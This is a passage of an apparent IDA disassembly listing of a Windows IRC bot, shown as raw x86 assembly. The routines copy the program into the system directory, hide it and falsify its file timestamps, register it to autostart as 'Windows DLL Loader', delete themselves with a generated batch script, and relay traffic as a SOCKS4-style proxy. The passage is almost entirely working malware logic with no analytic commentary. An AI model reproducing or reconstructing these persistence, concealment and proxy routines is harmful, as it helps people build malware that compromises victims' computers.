		cmp	[ebp+var_8], 1
		mov	ebx, offset dword_413B6C
		jz	short loc_404C3B
		cmp	[ebp+var_8], 2
		jnz	short loc_404C48


loc_404C3B:				; CODE XREF: sub_404ACF+164j
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4096CB
		add	esp, 0Ch


loc_404C48:				; CODE XREF: sub_404ACF+16Aj
		cmp	[ebp+var_8], 4
		jnz	short loc_404C60
		push	dword ptr [esi]
		push	offset dword_413B64
		push	[ebp+arg_0]
		call	sub_4096CB
		add	esp, 0Ch


loc_404C60:				; CODE XREF: sub_404ACF+17Dj
		cmp	[ebp+var_8], 3
		jnz	loc_404CEB
		mov	edi, 180h
		push	edi
		call	sub_4114C4	; malloc
		and	[ebp+var_4], 0
		mov	esi, eax
		pop	ecx
		and	byte ptr [esi],	0
		cmp	[ebp+var_C], 0
		jbe	short loc_404CD5


loc_404C85:				; CODE XREF: sub_404ACF+204j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		movzx	eax, byte ptr [ecx+eax]
		push	eax
		lea	eax, [ebp+arg_4]
		push	offset dword_413B5C
		push	eax
		call	sub_4114DC	; sprintf
		push	esi
		call	sub_4114BE	; strlen
		add	eax, 3
		add	esp, 10h
		cmp	eax, edi
		jb	short loc_404CBE
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4096CB
		add	esp, 0Ch
		and	byte ptr [esi],	0


loc_404CBE:				; CODE XREF: sub_404ACF+1DDj
		lea	eax, [ebp+arg_4]
		push	eax
		push	esi
		call	sub_4114EE	; _mbscat
		inc	[ebp+var_4]
		pop	ecx
		mov	eax, [ebp+var_4]
		pop	ecx
		cmp	eax, [ebp+var_C]
		jb	short loc_404C85


loc_404CD5:				; CODE XREF: sub_404ACF+1B4j
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_4096CB
		push	esi
		call	sub_4114CA	; free
		mov	esi, [ebp+var_10]
		add	esp, 10h


loc_404CEB:				; CODE XREF: sub_404ACF+155j
					; sub_404ACF+195j
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		push	[ebp+var_14]
		call	dword_412028	; RegCloseKey


loc_404CFB:				; CODE XREF: sub_404ACF+11j
					; sub_404ACF+1Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404ACF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D00	proc near		; CODE XREF: sub_409277:loc_4093C8p
					; sub_409918:loc_409BBEp

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_104]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_208]
		push	offset dword_418FDC
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 1Ch
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_4120B8	; DeleteFileA
		lea	eax, [ebp+var_104]
		push	offset dword_4132AC
		push	eax
		call	sub_411506	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_404DAA
		push	esi
		push	1
		push	2
		push	offset dword_413DE8
		call	sub_4114FA	; fwrite
		push	esi
		call	sub_411500	; fclose
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_404E31
		add	esp, 18h


loc_404DAA:				; CODE XREF: sub_404D00+84j
		pop	esi
		leave
		retn
sub_404D00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DAD	proc near		; CODE XREF: sub_409277+117p
					; sub_409918+26Cp

var_208		= byte ptr -208h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_104]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_208]
		push	offset dword_418FDC
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411506	; fopen
		add	esp, 24h
		test	eax, eax
		jz	short loc_404E2D
		push	eax
		call	sub_411500	; fclose
		pop	ecx
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404E2D:				; CODE XREF: sub_404DAD+72j
		xor	eax, eax
		leave
		retn
sub_404DAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E31	proc near		; CODE XREF: sub_404D00+A2p
					; sub_4050D1+1B5p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	104h
		push	eax
		call	dword_412044	; GetWindowsDirectoryA
		lea	eax, [ebp+var_11C]
		push	offset dword_413DF0
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		mov	esi, dword_412048
		pop	ecx
		mov	edi, 80h
		push	0
		push	edi
		push	3
		push	0
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_404ED7
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_41204C	; GetFileTime
		push	ebx
		mov	ebx, dword_4120AC
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404ED7
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_412050	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_404ED7:				; CODE XREF: sub_404E31+58j
					; sub_404E31+8Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404E31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EDC	proc near		; CODE XREF: sub_4050D1+139p
					; sub_4050D1+16Fp ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		xor	esi, esi
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_412014	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_404F67
		lea	eax, [ebp+var_108]
		push	104h
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 10h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_412040	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	esi
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_412010	; RegSetValueExA
		jmp	short loc_404F73
; ---------------------------------------------------------------------------


loc_404F67:				; CODE XREF: sub_404EDC+2Dj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_412004	; RegDeleteValueA


loc_404F73:				; CODE XREF: sub_404EDC+89j
		push	[ebp+var_4]
		call	dword_412028	; RegCloseKey
		pop	esi
		leave
		retn
sub_404EDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F7F	proc near		; CODE XREF: sub_404FA8+2Bp
					; sub_4050D1+1C1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		mov	edi, esi
		call	sub_4114BE	; strlen
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		jbe	short loc_404FA3


loc_404F94:				; CODE XREF: sub_404F7F+22j
		cmp	byte ptr [ecx+esi], 5Ch
		jnz	short loc_404F9E
		lea	edi, [ecx+esi+1]


loc_404F9E:				; CODE XREF: sub_404F7F+19j
		inc	ecx
		cmp	ecx, eax
		jb	short loc_404F94


loc_404FA3:				; CODE XREF: sub_404F7F+13j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_404F7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FA8	proc near		; CODE XREF: sub_4050D1+Cp
					; sub_4052DF+Cp

var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_404F7F
		and	byte ptr [eax],	0
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_41203C	; SetCurrentDirectoryA
		leave
		retn
sub_404FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FEB	proc near		; CODE XREF: sub_4050D1+1C7p
					; sub_4052DF+C2p ...

var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	8
		push	4
		call	sub_40B459
		push	7Ah
		push	61h
		mov	edi, eax
		call	sub_40B459
		add	esp, 10h
		mov	[ebp+var_14], al
		push	1
		pop	esi
		cmp	edi, esi
		jz	short loc_405029


loc_405015:				; CODE XREF: sub_404FEB+3Cj
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[ebp+esi+var_14], al
		inc	esi
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jnz	short loc_405015


loc_405029:				; CODE XREF: sub_404FEB+28j
		lea	eax, [ebp+esi+var_14]
		push	offset a_bat	; ".bat"
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4114BE	; strlen
		push	400h
		call	sub_4114C4	; malloc
		add	esp, 10h
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_4120B8	; DeleteFileA
		xor	esi, esi
		lea	eax, [ebp+var_14]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_412048	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40507D
		xor	eax, eax
		jmp	short loc_4050CC
; ---------------------------------------------------------------------------


loc_40507D:				; CODE XREF: sub_404FEB+8Cj
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		push	edi
		push	edi
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	ebx
		call	dword_4121EC	; wsprintfA
		add	esp, 18h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], esi
		push	esi
		push	eax
		push	ebx
		call	sub_4114BE	; strlen
		pop	ecx
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_412070	; WriteFile
		push	[ebp+arg_0]
		call	dword_4120AC	; CloseHandle
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4121E4
		push	1
		pop	eax


loc_4050CC:				; CODE XREF: sub_404FEB+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404FEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050D1	proc near		; CODE XREF: kkrunchy:loc_41137Dp

var_36C		= byte ptr -36Ch
var_268		= byte ptr -268h
var_164		= byte ptr -164h
var_60		= dword	ptr -60h
var_30		= word ptr -30h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 36Ch
		push	ebx
		push	esi
		push	edi
		call	sub_404FA8
		mov	esi, 104h
		lea	eax, [ebp+var_36C]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		cmp	off_413B90, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		jz	short loc_405181
		mov	edi, offset off_413B90
		mov	[ebp+var_C], edi


loc_405115:				; CODE XREF: sub_4050D1+AEj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_268]
		push	esi
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_268]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [edi]
		call	sub_40B5E1
		push	dword ptr [edi]
		lea	eax, [ebp+var_268]
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [edi]
		call	sub_40B5A8
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 20h
		test	eax, eax
		jz	loc_405214
		mov	edi, [ebp+var_C]
		inc	[ebp+var_8]
		add	edi, 8
		mov	[ebp+var_C], edi
		cmp	[edi], ebx
		jnz	short loc_405115


loc_405181:				; CODE XREF: sub_4050D1+3Aj
		push	[ebp+var_4]
		push	ebx
		call	sub_40B459
		pop	ecx
		mov	edi, eax
		pop	ecx
		lea	eax, [ebp+var_164]
		push	esi
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_164]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	off_413B90[edi*8]
		lea	esi, ds:413B90h[edi*8]
		call	sub_40B5E1
		push	dword ptr [esi]
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [esi]
		call	sub_40B5A8
		add	esp, 18h
		lea	eax, [ebp+var_164]
		push	eax
		call	dword_4120B8	; DeleteFileA
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		call	dword_412068	; CopyFileA
		test	eax, eax
		jnz	short loc_405263
		push	offset dword_419ECC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_404EDC
		add	esp, 0Ch
		jmp	short loc_40525E
; ---------------------------------------------------------------------------


loc_405214:				; CODE XREF: sub_4050D1+9Aj
		mov	eax, [ebp+var_8]
		mov	esi, eax
		shl	esi, 3
		push	off_413B90[esi]
		call	sub_40B5E1
		push	off_413B94[esi]
		call	sub_40B5E1
		push	off_413B90[esi]
		push	off_413B94[esi]
		push	1
		call	sub_404EDC
		push	off_413B90[esi]
		call	sub_40B5A8
		push	off_413B94[esi]
		call	sub_40B5A8
		add	esp, 1Ch


loc_40525E:				; CODE XREF: sub_4050D1+141j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405263:				; CODE XREF: sub_4050D1+12Bj
		mov	esi, dword_4120B0
		lea	eax, [ebp+var_164]
		push	4
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_164]
		push	2
		push	eax
		call	esi	; SetFileAttributesA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_404E31
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_404F7F
		push	eax
		call	sub_404FEB
		push	44h
		lea	eax, [ebp+var_60]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 18h
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_60], esi
		mov	[ebp+var_30], bx
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	1
		push	ebx
		lea	eax, [ebp+var_164]
		push	ebx
		push	eax
		push	ebx
		call	dword_412084	; CreateProcessA
		call	dword_412264	; WSACleanup
		push	ebx
		call	sub_41157C	; exit
sub_4050D1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052DF	proc near		; CODE XREF: sub_402230+51Dp
					; sub_407A76+C5Fp ...

var_20C		= byte ptr -20Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_404FA8
		mov	ebx, 104h
		lea	eax, [ebp+var_20C]
		push	ebx
		xor	edi, edi
		push	eax
		push	edi
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		cmp	off_413B90, edi
		mov	[ebp+var_4], edi
		jz	short loc_405383
		mov	esi, offset off_413B90
		mov	edi, esi


loc_40531F:				; CODE XREF: sub_4052DF+A0j
		lea	eax, [ebp+var_108]
		push	ebx
		push	eax
		call	dword_412054	; GetSystemDirectoryA
		lea	eax, [ebp+var_108]
		push	offset dword_413DEC
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [esi]
		call	sub_40B5E1
		push	dword ptr [esi]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4114EE	; _mbscat
		push	dword ptr [esi]
		call	sub_40B5A8
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 20h
		test	eax, eax
		jz	short loc_4053CB
		inc	[ebp+var_4]
		add	edi, 8
		mov	esi, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_40531F
		xor	edi, edi


loc_405383:				; CODE XREF: sub_4052DF+37j
		mov	esi, offset dword_419ECC
		push	esi
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	edi
		call	sub_404EDC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404F7F
		push	eax
		call	sub_404FEB
		add	esp, 14h
		test	eax, eax
		jz	loc_40544A
		push	esi
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_4097DB
		pop	ecx
		pop	ecx
		call	dword_412264	; WSACleanup
		push	edi
		call	dword_412064	; ExitProcess


loc_4053CB:				; CODE XREF: sub_4052DF+93j
		mov	eax, [ebp+var_4]
		mov	esi, eax
		shl	esi, 3
		push	off_413B90[esi]
		call	sub_40B5E1
		push	off_413B94[esi]
		call	sub_40B5E1
		push	off_413B90[esi]
		push	off_413B94[esi]
		push	0
		call	sub_404EDC
		push	off_413B90[esi]
		call	sub_40B5A8
		push	off_413B94[esi]
		call	sub_40B5A8
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_404F7F
		push	eax
		call	sub_404FEB
		add	esp, 24h
		test	eax, eax
		jz	short loc_40544A
		push	offset dword_419ECC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_4097DB
		pop	ecx
		pop	ecx
		call	dword_412264	; WSACleanup
		push	0
		call	dword_412064	; ExitProcess


loc_40544A:				; CODE XREF: sub_4052DF+CCj
					; sub_4052DF+14Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4052DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40544F	proc near		; DATA XREF: sub_4056AC+F4o

var_16D4	= byte ptr -16D4h
var_6D4		= byte ptr -6D4h
var_5D4		= dword	ptr -5D4h
var_5CA		= byte ptr -5CAh
var_5BA		= byte ptr -5BAh
var_427		= byte ptr -427h
var_414		= byte ptr -414h
var_413		= byte ptr -413h
var_412		= dword	ptr -412h
var_40C		= byte ptr -40Ch
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16D4h
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	eax, [ebp+var_5D4]
		mov	edi, dword_412258
		add	esp, 10h
		xor	ebx, ebx
		lea	ecx, [ebp+var_414]
		mov	[ebp+arg_0], eax
		push	ebx
		push	408h
		push	ecx
		push	eax
		call	edi	; recv
		cmp	eax, ebx
		jz	loc_4056A3
		cmp	eax, 0FFFFFFFFh
		jz	loc_4056A3
		cmp	[ebp+var_414], 4
		jnz	short loc_4054C7
		cmp	[ebp+var_413], 1
		jnz	short loc_4054C7
		push	1
		pop	esi
		jmp	short loc_4054C9
; ---------------------------------------------------------------------------


loc_4054C7:				; CODE XREF: sub_40544F+68j
					; sub_40544F+71j
		xor	esi, esi


loc_4054C9:				; CODE XREF: sub_40544F+76j
		cmp	[ebp+var_5CA], bl
		jz	short loc_4054EF
		lea	eax, [ebp+var_5CA]
		push	10h
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		call	sub_411570	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4054EF
		xor	esi, esi


loc_4054EF:				; CODE XREF: sub_40544F+80j
					; sub_40544F+9Cj
		cmp	[ebp+var_427], bl
		jz	short loc_40553A
		lea	eax, [ebp+var_6D4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4034DE
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		mov	eax, offset byte_4191D0
		jnz	short loc_405516
		mov	eax, offset dword_413EF4


loc_405516:				; CODE XREF: sub_40544F+C0j
		push	eax
		movzx	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_6D4]
		push	eax
		lea	eax, [ebp+var_5BA]
		push	offset dword_413EC0
		push	eax
		call	sub_4096CB
		add	esp, 14h


loc_40553A:				; CODE XREF: sub_40544F+A6j
		cmp	esi, ebx
		jnz	short loc_405575
		push	8
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Bh
		push	[ebp+arg_0]
		call	sub_403D9D
		push	[ebp+arg_0]
		call	sub_403D70
		add	esp, 1Ch
		jmp	loc_4056A3
; ---------------------------------------------------------------------------


loc_405575:				; CODE XREF: sub_40544F+EDj
		lea	eax, [ebp+var_C]
		push	0Ah
		push	eax
		push	[ebp+var_412]
		call	dword_412248	; htons
		movzx	eax, ax
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	2710h
		push	ebx
		push	eax
		push	[ebp+var_412+2]
		call	dword_412230	; inet_ntoa
		push	eax
		call	sub_403C04
		mov	[ebp+var_4], eax
		push	8
		lea	eax, [ebp+var_414]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 1Ch
		cmp	[ebp+var_4], ebx
		jnz	short loc_4055F1
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Bh
		push	[ebp+arg_0]
		call	sub_403D9D
		push	[ebp+arg_0]
		call	sub_403D70
		add	esp, 10h
		jmp	loc_4056A3
; ---------------------------------------------------------------------------


loc_4055F1:				; CODE XREF: sub_40544F+178j
		lea	eax, [ebp+var_414]
		push	8
		push	eax
		mov	[ebp+var_413], 5Ah
		push	[ebp+arg_0]
		call	sub_403D9D
		add	esp, 0Ch
		mov	esi, 1000h


loc_405611:				; CODE XREF: sub_40544F+240j
		push	[ebp+arg_0]
		call	sub_40346D
		test	eax, eax
		pop	ecx
		jz	short loc_40564C
		push	ebx
		lea	eax, [ebp+var_16D4]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	edi	; recv
		cmp	eax, ebx
		jz	short loc_405691
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405691
		push	eax
		lea	eax, [ebp+var_16D4]
		push	eax
		push	[ebp+var_4]
		call	sub_403D9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405691


loc_40564C:				; CODE XREF: sub_40544F+1CDj
		push	[ebp+var_4]
		call	sub_40346D
		test	eax, eax
		pop	ecx
		jz	short loc_405687
		push	ebx
		lea	eax, [ebp+var_16D4]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	edi	; recv
		cmp	eax, ebx
		jz	short loc_405691
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405691
		push	eax
		lea	eax, [ebp+var_16D4]
		push	eax
		push	[ebp+arg_0]
		call	sub_403D9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405691


loc_405687:				; CODE XREF: sub_40544F+208j
		push	32h
		call	dword_4120A4	; Sleep
		jmp	short loc_405611
; ---------------------------------------------------------------------------


loc_405691:				; CODE XREF: sub_40544F+1DFj
					; sub_40544F+1E4j ...
		push	[ebp+arg_0]
		call	sub_403D70
		push	[ebp+var_4]
		call	sub_403D70
		pop	ecx
		pop	ecx


loc_4056A3:				; CODE XREF: sub_40544F+52j
					; sub_40544F+5Bj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40544F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056AC	proc near		; DATA XREF: sub_4057ED+8Fo

var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		push	1BDh
		lea	eax, [ebp+var_1C0]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_1BC]
		push	1
		push	eax
		call	sub_403644
		add	esp, 18h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_4056FC
		push	[ebp+var_1C0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	locret_4057E9
; ---------------------------------------------------------------------------


loc_4056FC:				; CODE XREF: sub_4056AC+3Bj
		push	ebx
		push	esi
		lea	eax, [ebp+var_1BC]
		push	edi
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A6]
		push	offset dword_413F00
		push	eax
		call	sub_4096CB
		mov	edi, 3E8h
		push	edi
		push	[ebp+arg_0]
		call	sub_403767
		add	esp, 18h


loc_405730:				; CODE XREF: sub_4056AC+11Ej
		mov	ebx, eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	loc_4057CF
		test	ebx, ebx
		jz	loc_4057CF
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4057BF
		push	1BDh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_405768
		push	ebx
		call	sub_403D92
		jmp	short loc_4057BE
; ---------------------------------------------------------------------------


loc_405768:				; CODE XREF: sub_4056AC+B2j
		lea	eax, [ebp+var_1BC]
		mov	[esi], ebx
		push	eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_1B6]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_1A6]
		push	1A3h
		push	eax
		lea	eax, [esi+1Ah]
		push	eax
		call	sub_4114D0	; memcpy
		push	esi
		push	offset sub_40544F
		call	sub_406C5D
		add	esp, 24h
		test	eax, eax
		jnz	short loc_4057BF
		push	esi
		call	sub_4114CA	; free
		push	ebx
		call	sub_403D92
		pop	ecx


loc_4057BE:				; CODE XREF: sub_4056AC+BAj
		pop	ecx


loc_4057BF:				; CODE XREF: sub_4056AC+A1j
					; sub_4056AC+103j
		push	edi
		push	[ebp+arg_0]
		call	sub_403767
		pop	ecx
		pop	ecx
		jmp	loc_405730
; ---------------------------------------------------------------------------


loc_4057CF:				; CODE XREF: sub_4056AC+90j
					; sub_4056AC+98j
		push	[ebp+arg_0]
		call	sub_40392A
		push	[ebp+var_1C0]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx

locret_4057E9:				; CODE XREF: sub_4056AC+4Bj
		leave
		retn	4
sub_4056AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4057ED	proc near		; CODE XREF: sub_407A76+10Ap

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		jnz	short loc_40581E
		lea	eax, [ebp+var_8]
		push	0Ah
		push	eax
		push	0FFFFh
		push	401h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41192A	; _itoa
		add	esp, 0Ch
		lea	ebx, [ebp+var_8]


loc_40581E:				; CODE XREF: sub_4057ED+Cj
		push	1BDh
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40588A
		lea	eax, [esi+4]
